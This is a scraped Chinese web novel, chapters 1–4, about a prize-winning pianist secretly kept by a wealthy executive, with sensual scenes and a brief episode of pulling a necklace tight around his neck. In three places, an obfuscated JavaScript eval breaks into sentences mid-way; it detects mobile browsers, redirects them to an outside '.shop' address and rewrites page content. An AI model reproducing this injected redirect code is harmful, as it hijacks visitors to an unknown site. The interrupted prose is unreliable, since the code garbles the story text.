《没有当捞男的义务》 1. 第 1 章 “听说了吗?虞清念回来了。” “奥利兹金奖!他是有史以来得这个奖最年轻的华人,同在一个学校,怎么我就天天在钢琴前痛哭,人家已经登入世界级音乐殿堂了呜呜。” “你再不快点走,礼堂人满了可就拍不到第一视角发公众号了!你还想不想待在新媒体部?” S大校园礼堂内一派庄重气息,密密麻麻坐满了人,红丝绒的幕布拉得平整,中间过道架着好几台摄影器械,黑漆漆的镜头齐刷刷对着台上。 第一排坐着的都是身着正装、表情严肃的人,身处高位积威已久。桌面上的姓名牌无一不是叫出去响当当的人物,牌子下缘对得严丝合缝,阳光打在边缘成一条明快的直线延伸出去。礼仪人员上来倒水时都放轻了手指力道,但只有一人,不管是从年龄还是穿着打扮,都和这些人格格不入。 虞清念上身穿了件剪裁利落的白色衬衣,外面套着浅灰色毛衣背心,柔软的织物给他增添了一丝幼态。纽扣扣到最上面一颗,精致流畅的下颌线清晰,笔直的后背仪态良好,黑色的短发蓬松富有层次,额发微微盖到眉毛下方,坐在一群衣装革履的领导中没有丝毫怯懦。 他对着帮他倒茶的人微微点头,轻声说了句谢谢,矜持又礼貌。 微风吹起藏蓝色的窗帘,带起了他的刘海,一双灵动盈盈的眼睛露出来,只是一瞥就让人晃了神,心中只剩下圆润透亮的眼睛,像是黑珍珠沁在两汪银泉里。 正中间坐着的地中海校长对着话筒激情演讲:“陆氏集团总裁陆诏先生,作为学校的荣誉校友,借此机会为音乐学院设立了奖学金,下面请虞同学上台领奖。” 万众瞩目之下,虞清念与为他颁奖的陆诏虚虚握了个手,一人是久负盛名心怀慈善的年轻企业家,一人是艺术院校的天子骄子好学生,二人在镜头面前露出了相似的微笑,把距离控制在一步之遥。 在下最后一个台阶时,虞清念脚下一滑,被身旁的陆诏一把握住手掌,很快又滑到手腕,隔着衣物绅士地托住扶稳。 “虞同学,没事吧?”陆诏露出礼节性的关切表情,如同外界评价一般绅士有礼。 虞清念摇摇头,收回手说:“没事,多谢陆总。” 二人一前一后回到座位,校长正在念陆诏此次为s大捐赠的一批高水平乐器以及设立的奖学金事宜。深红色的会议桌很深,盖住双腿,没有人看到,刚刚一派清正端庄的好学生、奖学金获得者虞清念,用脚尖慢慢踩住了陆诏的皮鞋,顺着皮鞋纹路上移,慢慢勾着小腿。 深灰色的西装裤垂落在白色球鞋上,若有似无的触碰一会儿轻一会儿重,像是极难控制的呼吸,在会议室那么多人之间争夺那逐渐稀薄的空气。 陆诏依旧端坐在校长身侧,连眼皮都没有眨一下,深灰色的西装衬得人足够正经,但那张脸又过于英俊且具有冲击性。 刚过三十岁就登上富豪排行榜的人屈指可数,和获得奥利兹金奖的少年音乐天才一样少见。宽阔的肩膀在西装的衬托下安全感十足,深蓝色的领带末端坠着一个镶蓝钻的纯金领带夹,看上去跟坐在他旁边的少年一样,矜贵、优雅、带着不刻板的端庄和克己。 礼堂的灯很亮,桌子对面就是十几台摄像机,陆诏用手指拨弄了下跟前的话筒,底下红色的光圈亮起,低沉如同低音大提琴奏响的声音通过音响穿出,丝滑又悦耳。 虞清念的下巴微抬,他胡乱蹭人的脚被踩住了,慢慢施加而上的力道让皮肤逐渐发麻,然后是疼痛上涌。隔着鞋子,痛意并不重,更多的是被压迫被控制的感觉。 脚趾一点点发麻,血液流通不畅,很快生出了蚂蚁在上面爬一般的酥,他乌黑浓密的睫毛微颤,一个晃神之际,从陆诏口中听到了自己的名字。 “希望未来我能看到更多像虞清念这样的同学,找到一条真正适合自己并且热爱的道路,为之努力,这也是我设立奖学金的初衷。” 自己的全名从男人口中念出,带着独特的韵味,虞清念条件反射般后背战栗弓起,像是察觉到危险的猫,他可以明显感觉到自己手臂上起了一层薄薄的鸡皮疙瘩,余光中只可以窥见一点陆诏的下颚线,看不清对方表情。 踩在自己脚背上的力道通过薄底皮鞋传来,虞清念动了动脚趾想要收回小腿,对方脚尖抬起给了他撤回的机会,但整只脚已经麻掉,他没办法移动,只能忍受血液重新流淌撑开每一寸经络的那种难耐酸痒。 对面有太多摄像机,虞清念没有流露出一丝不妥的表情,只是在对方重新踩住自己时,嘴唇微张泄出了一声无意识的喘息。 陆诏的话筒突然没了声音,大概是没电了。 虞清念拿起自己面前的与他交换,手指相触之时皮肤蹭过彼此,温度和触感令人心尖微颤,但只是一触即分。 对方拇指上的薄茧有意蹭过自己的指骨上的一颗小痣,摸得不重但意味深长,蜻蜓点水般的痒意让虞清念不自觉缩起脖子,又很快舒展了身体。 “谢谢。”陆诏抬起眼尾淡淡瞥了他一眼,领带夹上的钻石低调又耀眼。 奖学金颁发和捐赠仪式结束,会场的无关人员撤离,周围人一边对校长拥有如此天才的学生庆贺吹捧,一边又谈及陆诏对学校的无私捐赠,校长笑着说:“虞清念同学获奖,不仅仅是学校的荣誉,也是咱们市的荣誉,培养一个学生离不开各界关注,今晚我做东,各位一起来喝一杯。” 在场出席的有教育界领导,也有音乐协会的负责人,毕竟虞清念还是s大的学生,获得奥利兹金奖这件事也是给他们面上添光。 “私人聚会,不是商业宴请,为了虞同学获奖庆祝嘛!”校长笑得自然。 陆诏收到了四周似有似无的打量,点了下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154646|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接过话头:“正巧我有个朋友的私人餐厅在附近,环境和私密性很好。” 周围人一下子都把目光移到了刚刚获奖的虞清念身上,想仔细看看这位弹钢琴的天才到底是何等人物,让s大校长和陆诏一起专门为他设宴。 可惜天气变化多端,外面的阳光很快就被乌云覆盖,天色暗下来,那个明艳高贵的少年不知何时已经不见踪迹。 学校地下二层停车场,一辆黑色的迈巴赫低调停在角落,虞清念一手握着单肩包的带子,脚步轻快快速钻进了车的后座。 “停那么偏我差点都没找到!”他把背包往副驾驶位一甩,车门关闭,整个人被车里淡淡的松木香气包裹。 西装革履的男人正坐在后座听电话里的人做汇报,双腿交叠姿势舒展,垂顺的西装料子勾勒出腰腹的线条轮廓,从头到脚每一寸都精致妥帖,除了左脚皮鞋上那个被踩出来的脚印还没有被擦掉。 听见虞清念的动静,他姿势未变,淡淡扫过人的脸庞,抬手在自己大腿轻拍。被白色衬衫包裹的腕骨随之露出,锋利又嶙峋。 柔软的衣袖连着手腕处的香水味擦着陆诏的耳朵而过,虞清念熟练地跨坐在了人大腿上,手腕勾起挂在人后颈处,一靠近就是甜蜜的气息。 唇瓣温热又饱满,对着陆诏的侧脸不轻不重亲了上去。 一个亲近的吻并没有得到回应,虞清念把头靠在人肩膀上偷听电话内容,拇指食指比了个枪的动作,像是不满陆诏被电话那头的人吸引去了注意力,又不敢真的打扰他工作,手指对准了手机模拟扣动扳机,嘴唇张开发出了“砰——”的一声气音。 陆诏手心贴住虞清念的脸颊抚摸了两下,捏住他小巧的耳垂轻搓。 带了茧子的指腹触摸到光滑的皮肤,升起若有似无的痒意,虞清念肩头不自觉耸起,从微张的嘴中可以看见一截红红的舌尖。 仰起头,那张漂亮的脸完全暴露在男人视线之下,巴掌大的小短脸上最引人注目的就是那双水灵灵的眼睛,黑白分明的杏眼睁得很大,直直望着陆诏,明明白白向他昭示着:我需要你的关注。 工作电话到了尾声,也可能是对方发现了陆诏的心不在焉,有意不再打扰,当电话挂断的那一刻,虞清念往人身上扑过去,鼓起脸说:“你都不想我的,我刚下飞机就来学校参加这个破仪式,你刚刚在会议室连正脸都不给我!” 青苹果皮混合郁金香的味道随着他的靠近,渐渐弥漫到陆诏鼻尖,青涩又甜美,是虞清念用惯了的香水,但这款现在已经停产了,被炒到天价后仿佛从中也能闻到一丝金箔的味道。 陆诏嗅着多日不曾闻到的熟悉香气,手指穿进少年的发丝之间。他的眉骨很高,眼窝又深,垂眼看人的时候总是有不自觉的威压,柔软的头发被手指拽着一个用力,上一秒还在娇气谴责别人的嘴唇就被含入了口中。 2. 第 2 章 天气转阴像是有雨水要下来,天色暗的很。车窗外的景色不断变换,司机在前面安静得像是消失了一般,密闭空间内只有二人湿吻的隐秘水声。 虞清念死板的衬衫扣子被解开两颗,露出一小截笔直的锁骨,他被拽着头发被迫仰头,感受对方火热的气息逐渐入侵自己的口腔,舌尖滑过上颚朝里探去,让人头皮一阵酥麻。就在他欲罢不能想再深吻的时候,湿热的唇瓣突然往后撤离。 “嗯……”虞清念半闭着眼,发出不满的哼声,白皙的脖颈往上挺着去追寻那个吻,嘴唇张开想让舌头再进去厮磨。 陆诏垂眼望着他忘情沉迷的样子,轻笑了一声,在虞清念即将睁开迷蒙的双眼前一刻,再次低头吻了上去。 细细密密的唇舌翻搅声、逐渐加重的喘息声混合在一起,虞清念的脖子被刺激的红了一片,挂在颈上的项链垂下来,银色的小方牌落在白衬衫纽扣上不断碰撞出清脆的声响。 “轰隆隆——”天空突然下起瓢泼大雨,雨幕像是织密的网不断朝车窗上落,车子在风雨交加之中飘摇,外面的景色被不断冲刷的水流掩盖,逐渐模糊不清,只有一个又一个大大小小的雨点拍击在透明的玻璃窗上。 半个小时后,雨势渐停,虞清念眼角发红靠在陆诏身上,任由男人帮他扣着自己胸前的纽扣,冰凉的方形吊坠已经沾染上体温。 陆诏撩了一把少年有些长的头发,抽了张纸替他擦去眼尾的点点泪珠,“不是你自己说,在学校就当不认识你,防止别人觉得奖学金设立像是给你走后门吗?” 这算是解释刚刚的疑问了,但虞清念并不满意,挥开他的手朝旁边坐,短短的脸从侧面看上去连鼻头都是圆润的,连着嘴巴鼓起的线条像是不理人的小猫。 陆诏勾起一边嘴角轻笑,伸手从前方座椅下边拿出一个黑色的盒子,扔到了虞清念怀里。 “这次出差的礼物。” 沉甸甸的盒子一打开,里面放着一支镶满了长方形钻石亮晶晶的古董表,从表带到表盘,满目都是璀璨,恰恰是虞清念最喜欢的类型。 他这个人俗的很,别看平时弹的是高雅曲目乐器之王,西装一穿坐在演奏厅里,超凡脱俗气质清冷,但私下里什么贵喜欢什么,尤其喜欢亮晶晶的一看就很值钱的东西。 他摸着腕表,小心瞥了陆诏一眼,嘴角下移的弧度缓和了一些,指腹从一颗颗钻石上滑过,眼睛亮的比钻石都耀眼。 陆诏撑着头看他,缓缓道:“奥利兹比赛的时候,我在公务飞机上没办法看,是我计算时间失误,这支表给念念赔罪。” 成熟的男人比起年下小奶狗,就是这样一点好,成熟的不只是察觉对方情绪的能力,还有钱包。 陆诏靠在车窗旁边,一向能看透人心的眼神沾染了郁金香的轻柔。 虞清念不轻不重哼了一声,“我可不会因为一支表就原谅你。”漂亮的眼睛转动间顾盼生辉,腕表很快被他妥善收好,塞到了自己包里,看着鼓鼓囊囊的背包,他拿手隔着包在那个凸起的方盒子上拍了拍,像拍小孩睡觉一样,露出满意的表情,眼睛弯成月牙。 “生气是因为那是我人生最重要的时刻!我想有你参与,因为你是最重要的人。”收到礼物,虞清念的态度一百八十度转弯,也会哄人了也会撒娇了,抱住陆诏的手臂道,“我弹琴就是想弹给你看的,奥利兹金奖不重要,你看到我得奖的那一刻才有意义。” 陆诏摸着少年的手背,在他左手指骨处那颗淡色的小痣上流连,“那不是你人生最重要的时刻。” 虞清念一时没反应过来他在说什么,名贵的袖扣在他手底下旋转,过了几秒他才勉强扬起嘴角,问他:“那什么时候是?” “遇见我的那天。”陆诏回答的很笃定,低沉自信。 从背负父亲巨额债务走投无路的贫困高中生,到在奥利兹殿堂演奏的璀璨音乐明珠,最重要的就是那一天,成为陆诏手中金丝雀的那一天。 虞清念听见他那么说,垂下睫毛,掩盖住眼底的情绪。 陆诏捞起他的腿弯,把轻飘飘的人抱起放在了自己腿上,低声道:“你并不喜欢听到我那么说,对不对?” 认真的话语落在耳畔,“如果我不在,一切就没有意义,那么之前练琴付出的时间精力努力算什么?培养你付出的心力算什么?”陆诏盯着他的眼睛。 “念念到底是真的这样想,还是只是说出来哄我的谎话?”陆诏拨弄着少年脖子上戴的银色项链,方形的银牌精致复古,中间花纹交叠勾勒出来的字母形状深深镌刻。 平静的话语里含着重重的危险,往左往右都是陷阱。说这是骗他,肯定是不行的,陆诏最讨厌别人骗他。说自己就是那么想的,不是很热爱钢琴和音乐,也没有很重视陆诏为自己规划的事业,这都是拿来讨好他的工具玩意儿…… 那就更不行了。 如果小时候每个人都喜欢玩芭比娃娃,那么陆诏对于娃娃的爱好还要更深一点,他不满足于只是打扮装饰,按自己的喜好安排娃娃的发型、安排他日常的生活和行程,他还要计划娃娃的未来,要让这个由他一手打造的娃娃按他想要道路进步、发展,取得他内心度量衡上的成功。 把曾经深陷泥淖满身伤痕急需拯救的脆弱少年,打造成音乐殿堂的璀璨明珠,这种满足感和救赎感,虞清念不是第一感受人,他背后的陆诏才是。 对陆诏来讲,自己就是那个可以任他摆布的娃娃,虞清念从最初就清醒地认识到了这一点。 世界上没有天上掉馅饼的好事,尤其陆诏还是一个商人,从他这里得到什么都是需要等价交换付出出去的。 契约的第一条就是,虞清念必须按照陆诏的要求生活。 陆诏要求他要是一个有上进心的、热爱弹琴的、自强不息的、不会被命运和苦难打倒的人,他能得到奥利兹金奖一定会是骄傲喜悦的,而不是把自己视作信仰的音乐,变成为了讨好别人就能随意贬低的东西,这个人就算是陆诏也不行。 热爱要是纯粹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154647|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虞清念也要是纯粹的。 外面天色暗了下来,街上的霓虹灯映着玻璃窗上陆诏的倒影,英俊成熟的面孔在不断变幻的灯光下显得变幻莫测。 下雨了,市中心在堵车,外面的世界模糊不清,车内的气氛也显得沉闷粘稠。 虞清念垂下的睫毛颤了颤,两害相比取其轻,“对不起,我说谎了。” 他依旧保持着坐在陆诏怀里亲密依偎的姿势,但对方的体温并没有给他带来多少安全感,此刻他的大脑飞速旋转,提前演练出了一百种陆诏问责的方法。 陆诏放在人大腿上的手指微抬,指向旁边座椅的方向。 虞清念咽了下口水,从他腿上下来,坐到了另一侧和人面对面。 “我检讨,刚刚确实说的不是真心话。”虞清念并着膝盖乖乖坐好,望向陆诏认真说,“奥利兹金奖对我的音乐生涯来讲很重要,不管你在不在看,那都是我努力的成果,对我意义重大,能得奖我很开心。” “但我同样也很遗憾,领奖的那天你不在观众席,虽然它对我意义重大,但是没有你在场,我觉得它的意义缺失了一块。”虞清念的眼睛清澈,但泛起波澜,“我很想你能来,然后给我夸奖,在第一时间,这才是我最想要的奖励,而不仅仅只是一块表。” “所以骗你说得奖不重要,你才重要,其实我想说的是,希望你下次不要在工作和我之间选择工作了。公司没有你不行,我没有你同样也不行…” 他语气认真,只有攥着衣角的手指泄露出了他的紧张。 陆诏面无表情听他说,直到听到最后一句,才突然笑了一声,原本眸子里冷凝成冰的水雾化开,向前倾身问:“这句不会也是为了哄我高兴骗我的吧?” “你爱信不信。”虞清念转过头去抠前面抽纸盒里的卫生纸,手指无意识用力,把纸巾撕成一条一条的的流苏。 浅灰色的针织背心和有些微长的头发衬得他看上去柔软脆弱,但笔直的后背和不肯弯落的后颈却又坚韧。陆诏双腿交叠,把搭在上面的那只脚朝他晃了晃,剪裁得体的西裤朝上移动一截,露出鞋面上那个明显的球鞋印子来。 在一张床上睡过那么久,玩过那么多次,虞清念当然能瞬间理解他的意思,手指底下就是纸巾,他攥了攥手指,小声说不要。 陆诏的胳膊支在膝盖上,撑着头去看他,把皮鞋又往他那边送了一些。 “谁踩的谁擦,很公平。” 虞清念脊背上的骨头凸起,刚想反驳说你也踩我了,结果垂头一看,自己的鞋子上半点印子也没有,陆诏穿的是他妈的新鞋,一路坐车根本鞋底没灰,自己在学校走了一路,怎么可能跟他一样留不下印子。 心底暗骂几声,虞清念不情不愿磨蹭了一会,抽出一张纸巾叠了叠,攥在手里朝那只黑色的皮鞋表面擦去。 岂料陆诏一闪,纸巾从鞋尖滑落。 “打算坐着擦?”疑问句的尾音拉长,暗示性的内容通过低沉的声音传到虞清念耳朵里。 3. 第 3 章 绿灯转亮,前方的车辆走慢了片刻,后面响起来一连串此起彼伏的喇叭声,催促声交叠起来,跟催命一样让人心烦。 陆诏的催促却是不紧不慢的,他只是用视线从上往下在虞清念的脸上流连,纯手工定制的皮鞋细腻,泛着暗暗光泽。 虞清念的脚趾蜷缩,咬住一点鲜艳的下唇。 不宽不窄的鞋尖微微上抬,陆诏眯了下眼睛道:“今天在那么多人面前不老实勾引我,你不觉得该接受一些惩罚吗?” 虞清念低下头,胸前的银色吊坠朝前滑落翻转,方形的小牌子上镌刻着花体的英文字母。他双手捧着那个小方牌,慢慢朝前递到陆诏跟前,不像只是献上吊坠的姿势,更像献出自己,通过示弱来延长被惩罚前的时间。 微颤的睫毛簌簌扇动,在车窗外的路灯照射下,投射出一排浓密的睫毛影子,印在眼下,在莹白的皮肤上格外显眼。 陆诏靠在后倾的椅背里,骨节分明的手指又长又直,勾住他脖子上的链条在指头上绕了两道,朝前一扯。 虞清念瞬间仰起脖子,朝陆诏的方向迎过去,下垂无辜的眼睛晕开一层水雾,直愣愣望着人,凸起的喉结在银链子的收紧之下微微滑动,浅浅的窒息感让红霞逐渐爬上脸颊。 “跟我耍什么小聪明。”带着气声的低语,暗含危险。 车子已经停下,在郁郁葱葱的树木掩盖之下,正正好停在车位上,路灯透过树叶的缝隙照在少年脸上,莹白的皮肤在光下像是蒙了一层薄纱,只是由于呼吸不畅,眼尾那抹红一直消散不去,他仰着头小声说着求饶的话,银色链子缠绕在脖颈处,让人不自觉张开嘴巴呼吸。 柔软的浅灰色针织马甲衬得人软绵绵,虞清念手虚虚攥着拳,想推开陆诏扯自己链子的手,又不敢,只能轻搭在他的手臂上。 深色的西装上,凸起的指骨上面那颗小痣格外显眼。 陆诏放开手中的链子,递上一张纸巾,“擦。” 虞清念嘴边抿出一个小小的梨涡,从人手中接过纸巾后,低着头作势往下探去,突然,他以迅雷不及掩耳之势快速在陆诏鞋上又狠狠踩了两脚,打开车门毫不犹豫跳了出去。 雨已经停了,隔着覆盖了细小雨滴的玻璃车窗,可以看见虞清念张嘴放肆大笑的模样,他的眉眼弯弯,比天上的月亮还要明媚,鲜活又生动,正对着陆诏举起大拇指做了个往下的姿势。 白色的板鞋踏在地上浅浅的水坑里,荡起小小的涟漪。 陆诏看着自己鞋子上多出来的脚印,扯出一个无奈又包容的笑,摇了摇头。 ———— 松竹轩作为一个会员制私人会所,环境如其名,繁茂的植物和青竹到处都是,清幽又静雅,每走一步看到的景色都大有不同,但这样也有个缺点,就是不熟悉的人容易迷路。 在虞清念第三次路过一排貌似一样又说不上哪里不同的竹林时,头顶被手指敲了个爆栗。 他皱起眉转过头已经准备好大骂了,但当看见陆诏那张熟悉的脸时,脱口而出的话立马转了个弯。 “你长没长……啊哥!你长、长得好帅——”他重重点了个头,像是为了印证自己说话真实性一般,圆圆的眼睛里装着一丝怯意,控制不住自己的眼神朝下瞥去,但天太黑了,他看不清陆诏的鞋被自己踩成什么样了。 陆诏下颌微抬,对他的夸奖说了声谢谢,捞着晕乎乎的虞清念调转方向来到约定好的包厢外。 竟然没生气,虞清念一边笑着跟校长和一众今天见过但不认识的人问好,一边偷偷去瞥陆诏。 他也不是那么好脾气的人,今天惹了他竟然就被轻飘飘放过了吗?人的忍耐程度一定是可以锻炼出来吧,就跟扩容一样,那他再闹腾一点,陆诏会不会修炼成忍者啊。 虞清念深以为然,正在为自己的想法偷笑的时候,就被身旁的陆诏拍了拍手肘。 “这位是周教授,你不是一直说喜欢周教授的书吗?今天有机会接触,可以多向他请教。”陆诏朝虞清念示意坐在他旁边的人,眼神略过桌上的酒杯。 虞清念眨了眨眼睛,看见陆诏朝他动了动嘴唇,无声说了个名字,就立马反应过来,端起桌上的酒杯朝周平倾身,脸颊上浅浅的梨涡露出,用亲切又敬仰的语气说:“周教授好,我叫虞清念。” “请教不敢,虞同学的名字倒是如雷贯耳。” 周平跟他碰了一杯,一开始只是看在校长的面子上出席这个酒局,毕竟他之前欠校长一个人情。 他一向看不上这些商人资本家,年轻的时候他学的是马克思,对于“资本来到世间,从头到脚,每个毛孔都滴着血和肮脏的东西”深以为然,但陆诏又确实为S大捐赠了新楼、设施,以及设立了励志奖学金,就算是为了学生,他放弃了一些风骨参加今晚的聚会。 对眼前这个和陆诏关系暧昧不清不楚的小孩,他更是没什么好脸色。小小年纪就想着攀附别人获得一些利益东西,他很瞧不上这类投机取巧的人。 但听见这个看起来年轻稚嫩的青年,竟然真的能对自己出的第一本得意之作谈论引用,那言辞之间的激动和敬佩做不了假。 周平一开始是靠在后面听虞清念说话,有一搭没一搭应着,听他谈起自己的求学经历、学音乐的初衷和抱负,甚至最开始走上这条道路都是因为自己时,心中还是泛起了涟漪。 虞清念眼神清亮,语言诚恳:“我在高三的时候读完您当时的三部曲,最后一本给我留下了很深的印象,您写道:‘有的人是醒着的,有的人是沉睡的,文学和音乐都是能唤醒人沉睡心灵的宝藏。’当时给我很大震撼。” 周平倾身,望向虞清念的眼神带上了专注,随口道:“但时代变了,很少有人能静下心来欣赏这些,毕竟…” 虞清念和他异口同声,说出了一句七言诗。 那是周平在自己出版的诗集上作的诗,他如今作为文艺界的政客代表,忙于工作,不像之前有那些闲情逸致可以作诗,大家对他的恭维和评价也更多的偏向于他做出的实绩,而非文学和思想上的成就。 那本诗集非常冷门,甚至只印刷出版了一次,那首诗更是不起眼,是他游历时看遍祖国大好河山写的句子,作为得意之作写入诗集,没想到排版的时候放在了那么靠后的位置,他没法跟人家出版社生气,毕竟周教授是一个不喜欢名利浮华的文人,怎么可能因为自己得意的诗没放到主打位置就生气呢? 这还是第一次,他生出有知己的感觉,面前这个二十岁出头的青年,面对他有尊敬却不谄媚,甚至和他灵魂共振,在同一时刻脱口而出自己二十年前写下的一句诗,已经被所有人忘却的诗。 周平看向虞清念的眼神瞬间变得不一样。 桌上酒过三巡,大家逐渐放松开始谈一些家常,谈及虞清念加上最近获的奖项,校长与有荣焉,说陆诏培养的好。突然有人轻声和身边人谈论这个虞清念和陆诏到底是什么关系,原本只是小声交谈,但桌上突如其来的安静,让这句话放大,飘进了每个人耳朵里。 虽然场上大家或多或少都对这个问题好奇,但是关系一词,别人不说请,就没有上赶着问的道理,说不好就会触发一些禁忌。 眼见桌上氛围变得尴尬,陆诏抬起手把胳膊搭到虞清念的椅背上,说:“家里小孩不喜欢生意上这些事,就对音乐感兴趣,还有一年就快毕业了,想跟各位前辈取取经。” 校长接话道:“小虞在钢琴上可是天才,陆总太谦虚了,这要是我家孩子,我做梦都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154648|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑醒。” 虞清念嘴角微扬,用一种“你听见了没有夸我了”的表情望着陆诏,用手背抵了抵陆诏的胳膊低声说:“我想吃那个螃蟹。” 刚刚一直在和周平聊天,他的大脑飞速运转从之前恶补的周平著作里翻找能派上用场的东西,还要装作是不经意说出的,可把他累死了,不吃点好吃的难以慰藉心灵。 而且就周平那个诗,人家出版社不给他放突出位置也是好心,要不然周教授这文学水平,真要在大家心中打一个问号了。 虞清念也是在查找周平资料的时候,无意之间看过一篇关于他的文字访谈,其中他流露出了对自己诗作的自恋,所以虞清念把他的冷门诗集也加入了资料范围之中做功课,没想到真的派上了用场。 陆诏挽起袖子,拾起一只膏肥饱满的螃蟹上手剥,校长微愣了一下,说:“有服务员,陆总要不要……” “不用,别人剥的他不吃。”陆诏云淡风轻,灵活的手指几下就把蟹肉完整剥出,堆叠在壳中放入虞清念面前的盘子里。 就在虞清念想要去拿的时候,蟹肉被勺子挖起送到他嘴边。 虽说已经习惯了陆诏喜欢喂他吃饭的癖好,但当着那么多人,虞清念心里还是有一点点别扭,抿着唇说:“我可以自己来…” “壳太锋利,你会划到手。”陆诏动作没变,语气间是温柔的不容拒绝。 他又不是不会用筷子的小孩。 虞清念耸了耸肩膀,一口吞下勺子里雪白的蟹肉,抬手指使道:“还要吃那个。” 周平见状,一开始关于他们俩关系的猜测渐渐埋藏进心底,就算他见得不多,也没听说哪家小情人能指挥金主在饭桌上替他干这干那的,看来是自己先入为主刻板印象了,大概虞清念真的是陆诏的小辈,还是十分受宠爱的小辈。 “小虞毕业之后打算做什么,进乐团还是继续进修?”周平问道。 虞清念撩了下眼皮上的头发,衬衫背心的打扮衬得人很乖巧,上身微微前倾对周平笑着说:“想进乐团锻炼一下,但是交响乐团进入条件越来越苛刻,当初选择音乐道路是为了跟您一样,用艺术力量影响更多人,但现在看来,毕了业我可能连饭都吃不上。” 周平笑道:“有陆总在,饭总不会吃不上,况且你那么优秀。” 虞清念摇了摇头,瞥了眼陆诏,然后低头跟周平轻声说:“不想总靠别人。” 周平的手指在桌面上轻敲了两下,眼睛扫过桌上的人,又看向不远处的青花瓷筷托,“最近文艺协会在换届,可以试试递递材料,进去以后平台会更大,关于政策风向和国际交流的渠道也会了解更清楚一些。” “你家里有别人从事这方面吗?”文艺界许多后生都是家里有背景才做这一行的,否则没有资源累积很难出头。 “我父母已经去世了,没有相关经验。”虞清念语气很平静,仿佛只是在说一件事不关己的事情。 周平一愣,手里的酒杯倾斜,轻叹了一口气:“这样吧,你提交材料之前,拿来我给你看看。” 虞清念露出浅浅笑容,敬了他一杯:“谢谢周教授。” 另一旁的校长正在和陆诏谈学校设施捐助的事情,学校正在新一轮等级评估当中,有了陆氏集团支持,就像有了一个坚实后盾,校长红光满面,恭维的话说了一箩筐。 虞清念刚刚喝多了伪装成红酒的可乐,有些想打嗝,借口去卫生间吹了吹风,在洗手台任冰凉的水流流经自己的手指,终于生出了清醒的感觉。 “虞学长!你真的在这里!”一道激动的声音直直穿进虞清念的耳膜,他皱了下眉,抬起头面无表情看向眼前人,被他逐渐靠近的动作逼的后退了两步,指尖水珠滴落在大理石台上。 4. 第 4 章 “是我!学生会新媒体部的,我叫陈剑!之前在新生晚会的时候,我给你拍过照,你还对我笑呢。”来人见到虞清念非常激动,一个劲想要靠近,眼神里带着诡异的狂热。 虞清念不动声色往门的方向移动脚步,放轻了声音稳住他:“你好,你怎么知道我在这儿。” 陈剑说:“不小心听到校长打电话说了这个地址,想到你获奖回来,说不定会和他们一起吃饭,学长你真的好厉害,奥利兹比赛的回放我看了一百多遍…” “是这样的那边还在等我,如果你没别的事我就先走了。”虞清念手指微蜷,面上还是从容镇定。这个人眼睛里泛着诡异的光,说不好就要做出什么过激的事情,前阵子还有报道说一明星的狂热私生饭躲在人家酒店床底,告白不成因爱生恨泼硫酸的事。 “等等!”陈剑突然一个箭步冲到他面前,握住虞清念的手腕说:“学长,我喜欢你好久了,你大二的时候在莫斯科参加比赛的视频让我下定决心考s大,一路以来你都是我的精神领袖,我是全世界最喜欢你的人,能不能给我一个做你男朋友的机会?” 又是这一套因为你我生出信念为之努力的说辞,虞清念刚刚忽悠周平已经快把自己说吐了,他又来,谁信啊。 虞清念被手腕上过于重的力道抓得皱眉,脏话几乎已经到了嘴边,弹琴的人一向很珍视自己的手,陆诏连剥虾剥螃蟹都不让他自己动手,生怕划伤受损。一直以来被轻柔小心对待的手被那么大力握着,虞清念挣动了几次没挣开,装出来的好脸色立马消失。 不自由被控制的感觉让他烦躁不已。 “放开!”下垂的杏眼就算盈满愠怒也没有多少震慑力,反而这生动的表情让陈剑看呆了。 “聋了吗?我让你放开。”虞清念对自己想达成的事会付出百分百的耐心,比如对待周平,但对于其他讨厌不感兴趣让他心烦的人和事,一丁点耐心都没有,尤其讨厌这些人占用自己的时间,不爽就想把人掀翻。 他眉间皱起,对着陈剑的膝盖就是一脚。 趁着人吃痛,他马上朝门口跑去,发现卫生间的门竟然从里面锁上了,刚拧开锁,陆诏那张冷静无波的脸就出现在面前。 “学长!你别走!”身后聒噪的声音还没停歇。 虞清念见来人是陆诏,才终于呼出一口气,快速攥住他的衣角躲到了人身后,依赖寻求保护的模样十分丝滑,丝毫看不出刚刚对人抬起就是一脚的利落模样。 “他是谁?”陆诏和陈剑异口同声发出了相同的疑问。 虞清念拉着陆诏的衣角仰起头,眸光清澈无辜:“我不认识他,刚刚跟我告白来着,还把门锁了,还好你来得及时。” 陈剑看见对自己爱答不理还附送一脚飞踹的虞清念,在这男人面前做出这幅令人忍不住保护的姿态,握紧了拳头质问:“学长你和他什么关系?” 